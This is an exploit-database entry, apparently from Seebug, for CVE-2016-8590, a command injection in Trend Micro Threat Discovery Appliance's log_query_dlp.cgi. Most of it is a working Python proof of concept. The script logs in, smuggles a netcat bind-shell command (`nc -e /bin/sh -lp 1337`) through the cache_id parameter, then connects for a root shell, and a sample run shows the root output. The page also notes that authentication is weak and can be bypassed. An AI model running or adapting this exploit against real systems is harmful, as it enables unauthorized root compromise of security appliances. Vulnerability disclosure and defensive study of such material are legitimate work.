Trend Micro Threat Discovery Appliance <= 2.6.1062r1 log_query_dlp.cgi Command Injection Remote Code Execution Vulnerability (CVE-2016-8590)

2017-04-2100:00:00

Root

www.seebug.org

0.967 High

EPSS

Percentile

99.7%

JSON

Summary:

There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.

Notes:

Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
exec a bind shell using netcat.
Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts…
Auth is now bypassed, please see CVE-2016-7552

Example:

saturn:trend_micro_threat_discovery_log_query_dlp_rce mr_me$ ./poc.py 
(+) usage: ./poc.py &lt;target&gt; &lt;pass&gt;
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_log_query_dlp_rce mr_me$ ./poc.py 172.16.175.123 admin
(+) logged in...
(+) starting backdoor, this will take a few secs...
(+) calling backdoor!
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
exit


                                                import re
import os
import sys
import time
import requests
import threading

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 3:
    print "(+) usage: %s <target> <pass>" % sys.argv[0]
    print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
    sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
e_url = "%scgi-bin/log_query_dlp.cgi" % bu

s = requests.Session()

def exec_bd(s, e_url):
    # now we setup our backdoor
    # no reverse, since it seems to fail !?
    netcat = "test|`nc -e /bin/sh -lp 1337`"
    e_url += "?act=search_advanced&cache_id=%s" % netcat
    s.get(e_url, verify=False)

# first we login...
r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
    print "(+) logged in..."

    thread = threading.Thread(target=exec_bd, args=(s, e_url,))
    thread.start()

    print "(+) starting backdoor, this will take a few secs..."
    time.sleep(4)

    print "(+) calling backdoor!"
    os.system("nc %s 1337" % t)

else:
    print "(-) login failed"
    sys.exit(-1)

0.967 High

EPSS

Percentile

99.7%

JSON

Related for SSV:92986